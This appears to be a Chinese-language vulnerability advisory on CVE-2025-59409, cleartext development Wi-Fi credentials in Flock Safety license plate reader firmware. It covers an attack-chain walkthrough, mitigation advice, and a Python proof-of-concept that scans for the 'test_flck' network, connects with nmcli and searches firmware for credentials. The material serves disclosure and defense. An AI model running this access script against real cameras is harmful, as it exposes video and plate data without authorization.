IPBUF安全漏洞报告
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CVE-2025-59409 CVSS 7.5 高危

CVE-2025-59409 Flock Safety车牌读取器明文存储开发Wi-Fi凭据漏洞

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-59409
漏洞类型
硬编码凭据/信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Flock Safety Falcon and Sparrow License Plate Readers (固件版本 OPM1.171019.026)

相关标签

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漏洞概述

CVE-2025-59409是Flock Safety公司生产的Falcon和S Sparrow系列车牌自动识别摄像头(License Plate Readers, LPR)中发现的高危安全漏洞。该漏洞源于产品在生产固件中以明文形式硬编码了开发阶段的Wi-Fi凭据(SSID及密码为"test_flck"),导致任何能够获取该固件或通过无线网络扫描发现该SSID的攻击者均可直接连接设备的开发Wi-Fi网络。

Flock Safety是美国知名的公共安全物联网设备提供商,其车牌识别摄像头被广泛部署于社区、停车场、执法机构等场所,用于自动识别和记录过往车辆的车牌信息。由于这些设备通常部署在户外或半公共区域,其无线网络接口面临较高的物理接近威胁。攻击者只需携带支持Wi-Fi的设备(如笔记本电脑或手机),在目标设备附近扫描即可发现名为"test_flck"的开发网络,并使用明文凭据直接接入。

该漏洞的CVSS评分为7.5,属于高危级别。其攻击向量为网络(AV:N),无需任何认证(PR:N),无需用户交互(UI:N),且对机密性产生高影响(C:H)。一旦攻击者接入开发Wi-Fi网络,可能进一步访问设备内部网络,获取摄像头实时视频流、车牌识别数据、配置信息等敏感内容,对部署该设备的社区隐私和执法数据安全构成严重威胁。此外,该漏洞还可能成为更复杂攻击链的入口点,结合其他漏洞实现远程代码执行或拒绝服务攻击。

技术细节

该漏洞的根本原因是Flock Safety在将开发版固件推向生产环境时,未能清除固件中残留的开发配置信息。具体而言,固件镜像(OPM1.171019.026)中包含了开发阶段用于调试和测试的Wi-Fi网络配置文件,该配置文件中以明文形式存储了以下关键信息:

1. **SSID名称**:test_flck
2. **Wi-Fi密码**:以明文形式存储在固件配置文件中
3. **网络认证方式**:通常为WPA2-PSK

**漏洞利用原理**:
- 攻击者使用任何支持Wi-Fi扫描的设备(如运行Kali Linux的笔记本、手机Wi-Fi分析工具如Wigle Wi-Fi等)
- 在目标Flock Safety摄像头部署区域(通常为户外,安装在杆柱或建筑物上)进行无线网络扫描
- 发现广播SSID为"test_flck"的Wi-Fi网络
- 从公开渠道(如固件提取、安全研究报告)获取对应的明文密码
- 直接连接到该开发网络,无需任何额外认证

**利用方式**:
一旦成功接入开发Wi-Fi网络,攻击者即处于设备的内部网络环境中,可以:
- 扫描内部网络中的其他服务和端口
- 尝试访问设备的Web管理界面或API端点
- 截获或监听摄像头传输的视频流和车牌数据
- 利用网络内的其他漏洞进行进一步渗透
- 结合GainSec报告中披露的其他漏洞(如Bravo Compute Box的root shell漏洞)实现完整的设备控制

该漏洞的严重性在于其零认证要求(PR:N)和网络可达性(AV:N),使得任何物理上接近设备的攻击者均可轻松利用。

攻击链分析

STEP 1
步骤1:侦察与发现
攻击者携带支持Wi-Fi扫描的设备前往Flock Safety摄像头部署区域,使用工具(如Wigle Wi-Fi、airodump-ng或操作系统内置的Wi-Fi扫描功能)扫描周围无线网络,识别广播SSID为'test_flck'的目标开发网络。
STEP 2
步骤2:获取凭据
攻击者从公开的安全研究报告(如GainSec发布的技术白皮书)或通过提取设备固件(OPM1.171019.026)获取硬编码的明文Wi-Fi密码。
STEP 3
步骤3:建立连接
使用获取的SSID和密码,攻击者通过标准Wi-Fi连接流程接入设备的开发网络,无需任何额外认证或用户交互。
STEP 4
步骤4:内网渗透
成功接入后,攻击者处于设备的内部网络环境,可扫描开放端口和服务,尝试访问设备的Web管理界面、API端点或其他内部服务。
STEP 5
步骤5:数据窃取与进一步利用
攻击者可截获摄像头实时视频流、车牌识别数据、设备配置信息等敏感内容,并可结合其他已知漏洞(如Bravo Compute Box的root shell漏洞)实现完整的设备控制或远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-59409 - Flock Safety Falcon/Sparrow LPR Hardcoded Wi-Fi Credential PoC This PoC demonstrates how to discover and connect to the development Wi-Fi network broadcasted by affected Flock Safety License Plate Readers. """ import subprocess import time import re TARGET_SSID = "test_flck" # Known hardcoded credential extracted from firmware OPM1.171019.026 # The password is stored in cleartext in production firmware TARGET_PASSWORD = "test_flck" # Placeholder - actual credential from firmware analysis def scan_wifi_networks(): """Scan for nearby Wi-Fi networks and look for the target SSID.""" print("[*] Scanning for Wi-Fi networks...") try: # Use nmcli to scan available networks on Linux result = subprocess.run( ["nmcli", "-t", "-f", "SSID,SIGNAL", "dev", "wifi"], capture_output=True, text=True, timeout=30 ) if result.returncode == 0: networks = result.stdout.strip().split("\n") for network in networks: if ":" in network: ssid, signal = network.split(":", 1) if ssid == TARGET_SSID: print(f"[+] Found target network: {ssid} (Signal: {signal}%)") return True print("[-] Target network not found in scan.") return False except Exception as e: print(f"[!] Scan error: {e}") return False def connect_to_target(): """Attempt to connect to the target development Wi-Fi network.""" print(f"[*] Attempting to connect to {TARGET_SSID}...") try: # Connect using nmcli with the hardcoded credentials cmd = [ "nmcli", "dev", "wifi", "connect", TARGET_SSID, "password", TARGET_PASSWORD ] result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) if result.returncode == 0: print("[+] Successfully connected to development network!") print("[+] Device is now accessible on internal network.") # Further exploitation steps can be performed here # e.g., port scanning, accessing camera feeds, etc. return True else: print(f"[-] Connection failed: {result.stderr}") return False except Exception as e: print(f"[!] Connection error: {e}") return False def extract_credential_from_firmware(firmware_path): """ Extract the hardcoded Wi-Fi credential from the firmware image. The credential is stored in cleartext in the production firmware. """ print(f"[*] Analyzing firmware: {firmware_path}") try: # Search for common Wi-Fi config patterns in firmware patterns = [ rb'ssid=test_flck', rb'psk=.*', rb'wifi.*password', rb'test_flck', ] with open(firmware_path, 'rb') as f: data = f.read() for pattern in patterns: matches = re.findall(pattern, data, re.IGNORECASE) if matches: print(f"[+] Found credential pattern: {matches}") return matches except FileNotFoundError: print("[!] Firmware file not found. Use physical extraction method.") return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-59409 - Flock Safety LPR Wi-Fi Credential PoC") print("=" * 60) # Step 1: Scan for the target network if scan_wifi_networks(): # Step 2: Connect using hardcoded credentials if connect_to_target(): print("\n[+] Exploitation successful. Device network access obtained.") else: print("\n[*] Ensure you are within Wi-Fi range of a Flock Safety LPR device.") print("[*] Or extract firmware directly from device for offline analysis.")

影响范围

Flock Safety Falcon License Plate Reader 固件 OPM1.171019.026
Flock Safety Sparrow License Plate Reader 固件 OPM1.171019.026

防御指南

临时缓解措施
在等待官方修复固件发布期间,建议采取以下临时缓解措施:1)在设备部署区域部署无线入侵检测系统(WIDS),监控并告警名为'test_flck'的异常SSID;2)在物理层面限制设备部署区域的接近权限;3)在网络层面部署防火墙规则,阻止未授权设备接入LPR摄像头所在的网络段;4)定期轮换周边Wi-Fi网络的密码和加密方式;5)监控网络流量,检测是否有异常设备尝试连接或访问摄像头内部服务。

参考链接

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